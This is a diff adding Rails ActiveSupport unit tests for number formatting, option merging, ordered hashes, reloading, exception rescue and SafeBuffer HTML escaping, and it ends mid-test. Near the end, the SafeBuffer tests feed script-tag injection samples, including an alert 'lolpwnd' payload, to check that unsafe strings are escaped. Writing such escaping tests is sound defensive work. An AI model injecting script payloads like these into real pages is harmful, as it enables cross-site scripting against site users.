+          assert_equal "1.23 cm", number_helper.number_to_human(0.0123, units: distance)
+          assert_equal "1.23 dm", number_helper.number_to_human(0.123, units: distance)
+          assert_equal "1.23 m", number_helper.number_to_human(1.23, units: distance)
+          assert_equal "1.23 dam", number_helper.number_to_human(12.3, units: distance)
+          assert_equal "1.23 hm", number_helper.number_to_human(123, units: distance)
+          assert_equal "1.23 km", number_helper.number_to_human(1230, units: distance)
+          assert_equal "1.23 km", number_helper.number_to_human(1230, units: distance)
+          assert_equal "1.23 km", number_helper.number_to_human(1230, units: distance)
+          assert_equal "12.3 km", number_helper.number_to_human(12300, units: distance)
+
+          #The quantifiers don't need to be a continuous sequence
+          gangster = { hundred: "hundred bucks", million: "thousand quids" }
+          assert_equal "1 hundred bucks", number_helper.number_to_human(100, units: gangster)
+          assert_equal "25 hundred bucks", number_helper.number_to_human(2500, units: gangster)
+          assert_equal "1000 hundred bucks", number_helper.number_to_human(100_000, units: gangster)
+          assert_equal "1 thousand quids", number_helper.number_to_human(999_999, units: gangster)
+          assert_equal "1 thousand quids", number_helper.number_to_human(1_000_000, units: gangster)
+          assert_equal "25 thousand quids", number_helper.number_to_human(25000000, units: gangster)
+          assert_equal "12300 thousand quids", number_helper.number_to_human(12345000000, units: gangster)
+
+          #Spaces are stripped from the resulting string
+          assert_equal "4", number_helper.number_to_human(4, units: { unit: "", ten: "tens " })
+          assert_equal "4.5  tens", number_helper.number_to_human(45, units: { unit: "", ten: " tens   " })
+
+          #Uses only the provided units and does not try to use larger ones
+          assert_equal "1000 kilometers", number_helper.number_to_human(1_000_000, units: { unit: "meter", thousand: "kilometers" })
+        end
+      end
+
+      def test_number_to_human_with_custom_units_that_are_missing_the_needed_key
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "123", number_helper.number_to_human(123, units: { thousand: "k" })
+          assert_equal "123", number_helper.number_to_human(123, units: {})
+        end
+      end
+
+      def test_number_to_human_with_custom_format
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "123 times Thousand", number_helper.number_to_human(123456, format: "%n times %u")
+          volume = { unit: "ml", thousand: "lt", million: "m3" }
+          assert_equal "123.lt", number_helper.number_to_human(123456, units: volume, format: "%n.%u")
+        end
+      end
+
+      def test_number_helpers_should_return_nil_when_given_nil
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_nil number_helper.number_to_phone(nil)
+          assert_nil number_helper.number_to_currency(nil)
+          assert_nil number_helper.number_to_percentage(nil)
+          assert_nil number_helper.number_to_delimited(nil)
+          assert_nil number_helper.number_to_rounded(nil)
+          assert_nil number_helper.number_to_human_size(nil)
+          assert_nil number_helper.number_to_human(nil)
+        end
+      end
+
+      def test_number_helpers_do_not_mutate_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          options = { "raise" => true }
+
+          number_helper.number_to_phone(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_currency(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_percentage(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_delimited(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_rounded(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_human_size(1, options)
+          assert_equal({ "raise" => true }, options)
+
+          number_helper.number_to_human(1, options)
+          assert_equal({ "raise" => true }, options)
+        end
+      end
+
+      def test_number_helpers_should_return_non_numeric_param_unchanged
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("+1-x x 123", number_helper.number_to_phone("x", country_code: 1, extension: 123))
+          assert_equal("x", number_helper.number_to_phone("x"))
+          assert_equal("$x.", number_helper.number_to_currency("x."))
+          assert_equal("$x", number_helper.number_to_currency("x"))
+          assert_equal("x%", number_helper.number_to_percentage("x"))
+          assert_equal("x", number_helper.number_to_delimited("x"))
+          assert_equal("x.", number_helper.number_to_rounded("x."))
+          assert_equal("x", number_helper.number_to_rounded("x"))
+          assert_equal "x", number_helper.number_to_human_size("x")
+          assert_equal "x", number_helper.number_to_human("x")
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
new file mode 100644
index 0000000000..935e2aee63
--- /dev/null
+++ b/activesupport/test/option_merger_test.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/with_options"
+
+class OptionMergerTest < ActiveSupport::TestCase
+  def setup
+    @options = { hello: "world" }
+  end
+
+  def test_method_with_options_merges_options_when_options_are_present
+    local_options = { cool: true }
+
+    with_options(@options) do |o|
+      assert_equal local_options, method_with_options(local_options)
+      assert_equal @options.merge(local_options),
+        o.method_with_options(local_options)
+    end
+  end
+
+  def test_method_with_options_appends_options_when_options_are_missing
+    with_options(@options) do |o|
+      assert_equal Hash.new, method_with_options
+      assert_equal @options, o.method_with_options
+    end
+  end
+
+  def test_method_with_options_allows_to_overwrite_options
+    local_options = { hello: "moon" }
+    assert_equal @options.keys, local_options.keys
+
+    with_options(@options) do |o|
+      assert_equal local_options, method_with_options(local_options)
+      assert_equal @options.merge(local_options),
+        o.method_with_options(local_options)
+      assert_equal local_options, o.method_with_options(local_options)
+    end
+    with_options(local_options) do |o|
+      assert_equal local_options.merge(@options),
+        o.method_with_options(@options)
+    end
+  end
+
+  def test_nested_method_with_options_containing_hashes_merge
+    with_options conditions: { method: :get } do |outer|
+      outer.with_options conditions: { domain: "www" } do |inner|
+        expected = { conditions: { method: :get, domain: "www" } }
+        assert_equal expected, inner.method_with_options
+      end
+    end
+  end
+
+  def test_nested_method_with_options_containing_hashes_overwrite
+    with_options conditions: { method: :get, domain: "www" } do |outer|
+      outer.with_options conditions: { method: :post } do |inner|
+        expected = { conditions: { method: :post, domain: "www" } }
+        assert_equal expected, inner.method_with_options
+      end
+    end
+  end
+
+  def test_nested_method_with_options_containing_hashes_going_deep
+    with_options html: { class: "foo", style: { margin: 0, display: "block" } } do |outer|
+      outer.with_options html: { title: "bar", style: { margin: "1em", color: "#fff" } } do |inner|
+        expected = { html: { class: "foo", title: "bar", style: { margin: "1em", display: "block", color: "#fff" } } }
+        assert_equal expected, inner.method_with_options
+      end
+    end
+  end
+
+  def test_nested_method_with_options_using_lambda
+    local_lambda = lambda { { lambda: true } }
+    with_options(@options) do |o|
+      assert_equal @options.merge(local_lambda.call),
+        o.method_with_options(local_lambda).call
+    end
+  end
+
+  # Needed when counting objects with the ObjectSpace
+  def test_option_merger_class_method
+    assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new("", "").class
+  end
+
+  def test_option_merger_implicit_receiver
+    @options.with_options foo: "bar" do
+      merge! fizz: "buzz"
+    end
+
+    expected = { hello: "world", foo: "bar", fizz: "buzz" }
+    assert_equal expected, @options
+  end
+
+  private
+    def method_with_options(options = {})
+      options
+    end
+end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
new file mode 100644
index 0000000000..c70d3b4c37
--- /dev/null
+++ b/activesupport/test/ordered_hash_test.rb
@@ -0,0 +1,324 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/json"
+require "active_support/core_ext/object/json"
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/array/extract_options"
+
+class OrderedHashTest < ActiveSupport::TestCase
+  def setup
+    @keys =   %w( blue   green  red    pink   orange )
+    @values = %w( 000099 009900 aa0000 cc0066 cc6633 )
+    @hash = Hash.new
+    @ordered_hash = ActiveSupport::OrderedHash.new
+
+    @keys.each_with_index do |key, index|
+      @hash[key] = @values[index]
+      @ordered_hash[key] = @values[index]
+    end
+  end
+
+  def test_order
+    assert_equal @keys,   @ordered_hash.keys
+    assert_equal @values, @ordered_hash.values
+  end
+
+  def test_access
+    assert @hash.all? { |k, v| @ordered_hash[k] == v }
+  end
+
+  def test_assignment
+    key, value = "purple", "5422a8"
+
+    @ordered_hash[key] = value
+    assert_equal @keys.length + 1, @ordered_hash.length
+    assert_equal key, @ordered_hash.keys.last
+    assert_equal value, @ordered_hash.values.last
+    assert_equal value, @ordered_hash[key]
+  end
+
+  def test_delete
+    key, value = "white", "ffffff"
+    bad_key = "black"
+
+    @ordered_hash[key] = value
+    assert_equal @keys.length + 1, @ordered_hash.length
+    assert_equal @ordered_hash.keys.length, @ordered_hash.length
+
+    assert_equal value, @ordered_hash.delete(key)
+    assert_equal @keys.length, @ordered_hash.length
+    assert_equal @ordered_hash.keys.length, @ordered_hash.length
+
+    assert_nil @ordered_hash.delete(bad_key)
+  end
+
+  def test_to_hash
+    assert_same @ordered_hash, @ordered_hash.to_hash
+  end
+
+  def test_to_a
+    assert_equal @keys.zip(@values), @ordered_hash.to_a
+  end
+
+  def test_has_key
+    assert_equal true, @ordered_hash.has_key?("blue")
+    assert_equal true, @ordered_hash.key?("blue")
+    assert_equal true, @ordered_hash.include?("blue")
+    assert_equal true, @ordered_hash.member?("blue")
+
+    assert_equal false, @ordered_hash.has_key?("indigo")
+    assert_equal false, @ordered_hash.key?("indigo")
+    assert_equal false, @ordered_hash.include?("indigo")
+    assert_equal false, @ordered_hash.member?("indigo")
+  end
+
+  def test_has_value
+    assert_equal true, @ordered_hash.has_value?("000099")
+    assert_equal true, @ordered_hash.value?("000099")
+    assert_equal false, @ordered_hash.has_value?("ABCABC")
+    assert_equal false, @ordered_hash.value?("ABCABC")
+  end
+
+  def test_each_key
+    keys = []
+    assert_equal @ordered_hash, @ordered_hash.each_key { |k| keys << k }
+    assert_equal @keys, keys
+    assert_kind_of Enumerator, @ordered_hash.each_key
+  end
+
+  def test_each_value
+    values = []
+    assert_equal @ordered_hash, @ordered_hash.each_value { |v| values << v }
+    assert_equal @values, values
+    assert_kind_of Enumerator, @ordered_hash.each_value
+  end
+
+  def test_each
+    values = []
+    assert_equal @ordered_hash, @ordered_hash.each { |key, value| values << value }
+    assert_equal @values, values
+    assert_kind_of Enumerator, @ordered_hash.each
+  end
+
+  def test_each_with_index
+    @ordered_hash.each_with_index { |pair, index| assert_equal [@keys[index], @values[index]], pair }
+  end
+
+  def test_each_pair
+    values = []
+    keys = []
+    @ordered_hash.each_pair do |key, value|
+      keys << key
+      values << value
+    end
+    assert_equal @values, values
+    assert_equal @keys, keys
+    assert_kind_of Enumerator, @ordered_hash.each_pair
+  end
+
+  def test_find_all
+    assert_equal @keys, @ordered_hash.find_all { true }.map(&:first)
+  end
+
+  def test_select
+    new_ordered_hash = @ordered_hash.select { true }
+    assert_equal @keys, new_ordered_hash.map(&:first)
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
+  end
+
+  def test_delete_if
+    copy = @ordered_hash.dup
+    copy.delete("pink")
+    assert_equal copy, @ordered_hash.delete_if { |k, _| k == "pink" }
+    assert_not_includes @ordered_hash.keys, "pink"
+  end
+
+  def test_reject!
+    (copy = @ordered_hash.dup).delete("pink")
+    @ordered_hash.reject! { |k, _| k == "pink" }
+    assert_equal copy, @ordered_hash
+    assert_not_includes @ordered_hash.keys, "pink"
+  end
+
+  def test_reject
+    copy = @ordered_hash.dup
+    new_ordered_hash = @ordered_hash.reject { |k, _| k == "pink" }
+    assert_equal copy, @ordered_hash
+    assert_not_includes new_ordered_hash.keys, "pink"
+    assert_includes @ordered_hash.keys, "pink"
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
+  end
+
+  def test_clear
+    @ordered_hash.clear
+    assert_equal [], @ordered_hash.keys
+  end
+
+  def test_merge
+    other_hash = ActiveSupport::OrderedHash.new
+    other_hash["purple"] = "800080"
+    other_hash["violet"] = "ee82ee"
+    merged = @ordered_hash.merge other_hash
+    assert_equal merged.length, @ordered_hash.length + other_hash.length
+    assert_equal @keys + ["purple", "violet"], merged.keys
+  end
+
+  def test_merge_with_block
+    hash = ActiveSupport::OrderedHash.new
+    hash[:a] = 0
+    hash[:b] = 0
+    merged = hash.merge(b: 2, c: 7) do |key, old_value, new_value|
+      new_value + 1
+    end
+
+    assert_equal 0, merged[:a]
+    assert_equal 3, merged[:b]
+    assert_equal 7, merged[:c]
+  end
+
+  def test_merge_bang_with_block
+    hash = ActiveSupport::OrderedHash.new
+    hash[:a] = 0
+    hash[:b] = 0
+    hash.merge!(a: 1, c: 7) do |key, old_value, new_value|
+      new_value + 3
+    end
+
+    assert_equal 4, hash[:a]
+    assert_equal 0, hash[:b]
+    assert_equal 7, hash[:c]
+  end
+
+  def test_shift
+    pair = @ordered_hash.shift
+    assert_equal [@keys.first, @values.first], pair
+    assert_not_includes @ordered_hash.keys, pair.first
+  end
+
+  def test_keys
+    original = @ordered_hash.keys.dup
+    @ordered_hash.keys.pop
+    assert_equal original, @ordered_hash.keys
+  end
+
+  def test_inspect
+    assert_includes @ordered_hash.inspect, @hash.inspect
+  end
+
+  def test_json
+    ordered_hash = ActiveSupport::OrderedHash[:foo, :bar]
+    hash = Hash[:foo, :bar]
+    assert_equal ordered_hash.to_json, hash.to_json
+  end
+
+  def test_alternate_initialization_with_splat
+    alternate = ActiveSupport::OrderedHash[1, 2, 3, 4]
+    assert_kind_of ActiveSupport::OrderedHash, alternate
+    assert_equal [1, 3], alternate.keys
+  end
+
+  def test_alternate_initialization_with_array
+    alternate = ActiveSupport::OrderedHash[ [
+      [1, 2],
+      [3, 4],
+      [ "missing value" ]
+    ]]
+
+    assert_kind_of ActiveSupport::OrderedHash, alternate
+    assert_equal [1, 3, "missing value"], alternate.keys
+    assert_equal [2, 4, nil ], alternate.values
+  end
+
+  def test_alternate_initialization_raises_exception_on_odd_length_args
+    assert_raises ArgumentError do
+      ActiveSupport::OrderedHash[1, 2, 3, 4, 5]
+    end
+  end
+
+  def test_replace_updates_keys
+    @other_ordered_hash = ActiveSupport::OrderedHash[:black, "000000", :white, "000000"]
+    original = @ordered_hash.replace(@other_ordered_hash)
+    assert_same original, @ordered_hash
+    assert_equal @other_ordered_hash.keys, @ordered_hash.keys
+  end
+
+  def test_nested_under_indifferent_access
+    flash = { a: ActiveSupport::OrderedHash[:b, 1, :c, 2] }.with_indifferent_access
+    assert_kind_of ActiveSupport::OrderedHash, flash[:a]
+  end
+
+  def test_each_after_yaml_serialization
+    assert_equal @values, YAML.load(YAML.dump(@ordered_hash)).values
+  end
+
+  def test_each_when_yielding_to_block_with_splat
+    hash_values         = []
+    ordered_hash_values = []
+
+    @hash.each         { |*v| hash_values         << v }
+    @ordered_hash.each { |*v| ordered_hash_values << v }
+
+    assert_equal hash_values.sort, ordered_hash_values.sort
+  end
+
+  def test_each_pair_when_yielding_to_block_with_splat
+    hash_values         = []
+    ordered_hash_values = []
+
+    @hash.each_pair         { |*v| hash_values         << v }
+    @ordered_hash.each_pair { |*v| ordered_hash_values << v }
+
+    assert_equal hash_values.sort, ordered_hash_values.sort
+  end
+
+  def test_order_after_yaml_serialization
+    @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))
+
+    assert_equal @keys,   @deserialized_ordered_hash.keys
+    assert_equal @values, @deserialized_ordered_hash.values
+  end
+
+  def test_order_after_yaml_serialization_with_nested_arrays
+    @ordered_hash[:array] = %w(a b c)
+
+    @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))
+
+    assert_equal @ordered_hash.keys,   @deserialized_ordered_hash.keys
+    assert_equal @ordered_hash.values, @deserialized_ordered_hash.values
+  end
+
+  def test_psych_serialize
+    @deserialized_ordered_hash = Psych.load(Psych.dump(@ordered_hash))
+
+    values = @deserialized_ordered_hash.map { |_, value| value }
+    assert_equal @values, values
+  end
+
+  def test_psych_serialize_tag
+    yaml = Psych.dump(@ordered_hash)
+    assert_match "!omap", yaml
+  end
+
+  def test_has_yaml_tag
+    @ordered_hash[:array] = %w(a b c)
+    assert_match "!omap", YAML.dump(@ordered_hash)
+  end
+
+  def test_update_sets_keys
+    @updated_ordered_hash = ActiveSupport::OrderedHash.new
+    @updated_ordered_hash.update(name: "Bob")
+    assert_equal [:name],  @updated_ordered_hash.keys
+  end
+
+  def test_invert
+    expected = ActiveSupport::OrderedHash[@values.zip(@keys)]
+    assert_equal expected, @ordered_hash.invert
+    assert_equal @values.zip(@keys), @ordered_hash.invert.to_a
+  end
+
+  def test_extractable
+    @ordered_hash[:rails] = "snowman"
+    assert_equal @ordered_hash, [1, 2, @ordered_hash].extract_options!
+  end
+end
diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb
new file mode 100644
index 0000000000..7f2e774c02
--- /dev/null
+++ b/activesupport/test/ordered_options_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/ordered_options"
+
+class OrderedOptionsTest < ActiveSupport::TestCase
+  def test_usage
+    a = ActiveSupport::OrderedOptions.new
+
+    assert_nil a[:not_set]
+
+    a[:allow_concurrency] = true
+    assert_equal 1, a.size
+    assert a[:allow_concurrency]
+
+    a[:allow_concurrency] = false
+    assert_equal 1, a.size
+    assert !a[:allow_concurrency]
+
+    a["else_where"] = 56
+    assert_equal 2, a.size
+    assert_equal 56, a[:else_where]
+  end
+
+  def test_looping
+    a = ActiveSupport::OrderedOptions.new
+
+    a[:allow_concurrency] = true
+    a["else_where"] = 56
+
+    test = [[:allow_concurrency, true], [:else_where, 56]]
+
+    a.each_with_index do |(key, value), index|
+      assert_equal test[index].first, key
+      assert_equal test[index].last, value
+    end
+  end
+
+  def test_method_access
+    a = ActiveSupport::OrderedOptions.new
+
+    assert_nil a.not_set
+
+    a.allow_concurrency = true
+    assert_equal 1, a.size
+    assert a.allow_concurrency
+
+    a.allow_concurrency = false
+    assert_equal 1, a.size
+    assert !a.allow_concurrency
+
+    a.else_where = 56
+    assert_equal 2, a.size
+    assert_equal 56, a.else_where
+  end
+
+  def test_inheritable_options_continues_lookup_in_parent
+    parent = ActiveSupport::OrderedOptions.new
+    parent[:foo] = true
+
+    child = ActiveSupport::InheritableOptions.new(parent)
+    assert child.foo
+  end
+
+  def test_inheritable_options_can_override_parent
+    parent = ActiveSupport::OrderedOptions.new
+    parent[:foo] = :bar
+
+    child = ActiveSupport::InheritableOptions.new(parent)
+    child[:foo] = :baz
+
+    assert_equal :baz, child.foo
+  end
+
+  def test_inheritable_options_inheritable_copy
+    original = ActiveSupport::InheritableOptions.new
+    copy     = original.inheritable_copy
+
+    assert copy.kind_of?(original.class)
+    assert_not_equal copy.object_id, original.object_id
+  end
+
+  def test_introspection
+    a = ActiveSupport::OrderedOptions.new
+    assert a.respond_to?(:blah)
+    assert a.respond_to?(:blah=)
+    assert_equal 42, a.method(:blah=).call(42)
+    assert_equal 42, a.method(:blah).call
+  end
+
+  def test_raises_with_bang
+    a = ActiveSupport::OrderedOptions.new
+    a[:foo] = :bar
+    assert a.respond_to?(:foo!)
+
+    assert_nothing_raised { a.foo! }
+    assert_equal a.foo, a.foo!
+
+    assert_raises(KeyError) do
+      a.foo = nil
+      a.foo!
+    end
+    assert_raises(KeyError) { a.non_existing_key! }
+  end
+end
diff --git a/activesupport/test/reloader_test.rb b/activesupport/test/reloader_test.rb
new file mode 100644
index 0000000000..3e4229eaf7
--- /dev/null
+++ b/activesupport/test/reloader_test.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ReloaderTest < ActiveSupport::TestCase
+  def test_prepare_callback
+    prepared = completed = false
+    reloader.to_prepare { prepared = true }
+    reloader.to_complete { completed = true }
+
+    assert !prepared
+    assert !completed
+    reloader.prepare!
+    assert prepared
+    assert !completed
+
+    prepared = false
+    reloader.wrap do
+      assert prepared
+      prepared = false
+    end
+    assert !prepared
+  end
+
+  def test_prepend_prepare_callback
+    i = 10
+    reloader.to_prepare { i += 1 }
+    reloader.to_prepare(prepend: true) { i = 0 }
+
+    reloader.prepare!
+    assert_equal 1, i
+  end
+
+  def test_only_run_when_check_passes
+    r = new_reloader { true }
+    invoked = false
+    r.to_run { invoked = true }
+    r.wrap {}
+    assert invoked
+
+    r = new_reloader { false }
+    invoked = false
+    r.to_run { invoked = true }
+    r.wrap {}
+    assert !invoked
+  end
+
+  def test_full_reload_sequence
+    called = []
+    reloader.to_prepare { called << :prepare }
+    reloader.to_run { called << :reloader_run }
+    reloader.to_complete { called << :reloader_complete }
+    reloader.executor.to_run { called << :executor_run }
+    reloader.executor.to_complete { called << :executor_complete }
+
+    reloader.wrap {}
+    assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete], called
+
+    called = []
+    reloader.reload!
+    assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete, :prepare], called
+
+    reloader.check = lambda { false }
+
+    called = []
+    reloader.wrap {}
+    assert_equal [:executor_run, :executor_complete], called
+
+    called = []
+    reloader.reload!
+    assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete, :prepare], called
+  end
+
+  def test_class_unload_block
+    called = []
+    reloader.before_class_unload { called << :before_unload }
+    reloader.after_class_unload { called << :after_unload }
+    reloader.to_run do
+      class_unload! do
+        called << :unload
+      end
+    end
+    reloader.wrap { called << :body }
+
+    assert_equal [:before_unload, :unload, :after_unload, :body], called
+  end
+
+  private
+    def new_reloader(&check)
+      Class.new(ActiveSupport::Reloader).tap do |r|
+        r.check = check
+        r.executor = Class.new(ActiveSupport::Executor)
+      end
+    end
+
+    def reloader
+      @reloader ||= new_reloader { true }
+    end
+end
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
new file mode 100644
index 0000000000..b1b8a25c5b
--- /dev/null
+++ b/activesupport/test/rescuable_test.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class WraithAttack < StandardError
+end
+
+class MadRonon < StandardError
+end
+
+class CoolError < StandardError
+end
+
+module WeirdError
+  def self.===(other)
+    Exception === other && other.respond_to?(:weird?)
+  end
+end
+
+class Stargate
+  # Nest this so the 'NuclearExplosion' handler needs a lexical const_get
+  # to find it.
+  class NuclearExplosion < StandardError; end
+
+  attr_accessor :result
+
+  include ActiveSupport::Rescuable
+
+  rescue_from WraithAttack, with: :sos_first
+
+  rescue_from WraithAttack, with: :sos
+
+  rescue_from "NuclearExplosion" do
+    @result = "alldead"
+  end
+
+  rescue_from MadRonon do |e|
+    @result = e.message
+  end
+
+  rescue_from WeirdError do
+    @result = "weird"
+  end
+
+  def dispatch(method)
+    send(method)
+  rescue Exception => e
+    unless rescue_with_handler(e)
+      @result = "unhandled"
+    end
+  end
+
+  def attack
+    raise WraithAttack
+  end
+
+  def nuke
+    raise NuclearExplosion
+  end
+
+  def ronanize
+    raise MadRonon.new("dex")
+  end
+
+  def crash
+    raise "unhandled RuntimeError"
+  end
+
+  def looped_crash
+    ex1 = StandardError.new("error 1")
+    ex2 = StandardError.new("error 2")
+    begin
+      begin
+        raise ex1
+      rescue
+        # sets the cause on ex2 to be ex1
+        raise ex2
+      end
+    rescue
+      # sets the cause on ex1 to be ex2
+      raise ex1
+    end
+  end
+
+  def fall_back_to_cause
+    # This exception is the cause and has a handler.
+    ronanize
+  rescue
+    # This is the exception we'll handle that doesn't have a cause.
+    raise "unhandled RuntimeError with a handleable cause"
+  end
+
+  def weird
+    StandardError.new.tap do |exc|
+      def exc.weird?
+        true
+      end
+
+      raise exc
+    end
+  end
+
+  def sos
+    @result = "killed"
+  end
+
+  def sos_first
+    @result = "sos_first"
+  end
+end
+
+class CoolStargate < Stargate
+  attr_accessor :result
+
+  include ActiveSupport::Rescuable
+
+  rescue_from CoolError, with: :sos_cool_error
+
+  def sos_cool_error
+    @result = "sos_cool_error"
+  end
+end
+
+class RescuableTest < ActiveSupport::TestCase
+  def setup
+    @stargate = Stargate.new
+    @cool_stargate = CoolStargate.new
+  end
+
+  def test_rescue_from_with_method
+    @stargate.dispatch :attack
+    assert_equal "killed", @stargate.result
+  end
+
+  def test_rescue_from_with_block
+    @stargate.dispatch :nuke
+    assert_equal "alldead", @stargate.result
+  end
+
+  def test_rescue_from_with_block_with_args
+    @stargate.dispatch :ronanize
+    assert_equal "dex", @stargate.result
+  end
+
+  def test_rescue_from_error_dispatchers_with_case_operator
+    @stargate.dispatch :weird
+    assert_equal "weird", @stargate.result
+  end
+
+  def test_rescues_defined_later_are_added_at_end_of_the_rescue_handlers_array
+    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "WeirdError"]
+    result = @stargate.send(:rescue_handlers).collect(&:first)
+    assert_equal expected, result
+  end
+
+  def test_children_should_inherit_rescue_definitions_from_parents_and_child_rescue_should_be_appended
+    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "WeirdError", "CoolError"]
+    result = @cool_stargate.send(:rescue_handlers).collect(&:first)
+    assert_equal expected, result
+  end
+
+  def test_rescue_falls_back_to_exception_cause
+    @stargate.dispatch :fall_back_to_cause
+    assert_equal "dex", @stargate.result
+  end
+
+  def test_unhandled_exceptions
+    @stargate.dispatch(:crash)
+    assert_equal "unhandled", @stargate.result
+  end
+
+  def test_rescue_handles_loops_in_exception_cause_chain
+    @stargate.dispatch :looped_crash
+    assert_equal "unhandled", @stargate.result
+  end
+end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
new file mode 100644
index 0000000000..05c2fb59be
--- /dev/null
+++ b/activesupport/test/safe_buffer_test.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/string/inflections"
+require "yaml"
+
+class SafeBufferTest < ActiveSupport::TestCase
+  def setup
+    @buffer = ActiveSupport::SafeBuffer.new
+  end
+
+  def test_titleize
+    assert_equal "Foo", "foo".html_safe.titleize
+  end
+
+  test "Should look like a string" do
+    assert @buffer.is_a?(String)
+    assert_equal "", @buffer
+  end
+
+  test "Should escape a raw string which is passed to them" do
+    @buffer << "<script>"
+    assert_equal "&lt;script&gt;", @buffer
+  end
+
+  test "Should NOT escape a safe value passed to it" do
+    @buffer << "<script>".html_safe
+    assert_equal "<script>", @buffer
+  end
+
+  test "Should not mess with an innocuous string" do
+    @buffer << "Hello"
+    assert_equal "Hello", @buffer
+  end
+
+  test "Should not mess with a previously escape test" do
+    @buffer << ERB::Util.html_escape("<script>")
+    assert_equal "&lt;script&gt;", @buffer
+  end
+
+  test "Should be considered safe" do
+    assert @buffer.html_safe?
+  end
+
+  test "Should return a safe buffer when calling to_s" do
+    new_buffer = @buffer.to_s
+    assert_equal ActiveSupport::SafeBuffer, new_buffer.class
+  end
+
+  test "Should be converted to_yaml" do
+    str  = "hello!"
+    buf  = ActiveSupport::SafeBuffer.new str
+    yaml = buf.to_yaml
+
+    assert_match(/^--- #{str}/, yaml)
+    assert_equal "hello!", YAML.load(yaml)
+  end
+
+  test "Should work in nested to_yaml conversion" do
+    str  = "hello!"
+    data = { "str" => ActiveSupport::SafeBuffer.new(str) }
+    yaml = YAML.dump data
+    assert_equal({ "str" => str }, YAML.load(yaml))
+  end
+
+  test "Should work with primitive-like-strings in to_yaml conversion" do
+    assert_equal "true",  YAML.load(ActiveSupport::SafeBuffer.new("true").to_yaml)
+    assert_equal "false", YAML.load(ActiveSupport::SafeBuffer.new("false").to_yaml)
+    assert_equal "1",     YAML.load(ActiveSupport::SafeBuffer.new("1").to_yaml)
+    assert_equal "1.1",   YAML.load(ActiveSupport::SafeBuffer.new("1.1").to_yaml)
+  end
+
+  test "Should work with underscore" do
+    str = "MyTest".html_safe.underscore
+    assert_equal "my_test", str
+  end
+
+  test "Should not return safe buffer from gsub" do
+    altered_buffer = @buffer.gsub("", "asdf")
+    assert_equal "asdf", altered_buffer
+    assert !altered_buffer.html_safe?
+  end
+
+  test "Should not return safe buffer from gsub!" do
+    @buffer.gsub!("", "asdf")
+    assert_equal "asdf", @buffer
+    assert !@buffer.html_safe?
+  end
+
+  test "Should escape dirty buffers on add" do
+    clean = "hello".html_safe
+    @buffer.gsub!("", "<>")
+    assert_equal "hello&lt;&gt;", clean + @buffer
+  end
+
+  test "Should concat as a normal string when safe" do
+    clean = "hello".html_safe
+    @buffer.gsub!("", "<>")
+    assert_equal "<>hello", @buffer + clean
+  end
+
+  test "Should preserve html_safe? status on copy" do
+    @buffer.gsub!("", "<>")
+    assert !@buffer.dup.html_safe?
+  end
+
+  test "Should return safe buffer when added with another safe buffer" do
+    clean = "<script>".html_safe
+    result_buffer = @buffer + clean
+    assert result_buffer.html_safe?
+    assert_equal "<script>", result_buffer
+  end
+
+  test "Should raise an error when safe_concat is called on unsafe buffers" do
+    @buffer.gsub!("", "<>")
+    assert_raise ActiveSupport::SafeBuffer::SafeConcatError do
+      @buffer.safe_concat "BUSTED"
+    end
+  end
+
+  test "Should not fail if the returned object is not a string" do
+    assert_kind_of NilClass, @buffer.slice("chipchop")
+  end
+
+  test "clone_empty returns an empty buffer" do
+    assert_equal "", ActiveSupport::SafeBuffer.new("foo").clone_empty
+  end
+
+  test "clone_empty keeps the original dirtyness" do
+    assert @buffer.clone_empty.html_safe?
+    assert !@buffer.gsub!("", "").clone_empty.html_safe?
+  end
+
+  test "Should be safe when sliced if original value was safe" do
+    new_buffer = @buffer[0, 0]
+    assert_not_nil new_buffer
+    assert new_buffer.html_safe?, "should be safe"
+  end
+
+  test "Should continue unsafe on slice" do
+    x = "foo".html_safe.gsub!("f", '<script>alert("lolpwnd");</script>')
+
+    # calling gsub! makes the dirty flag true
+    assert !x.html_safe?, "should not be safe"
+
+    # getting a slice of it
+    y = x[0..-1]
+
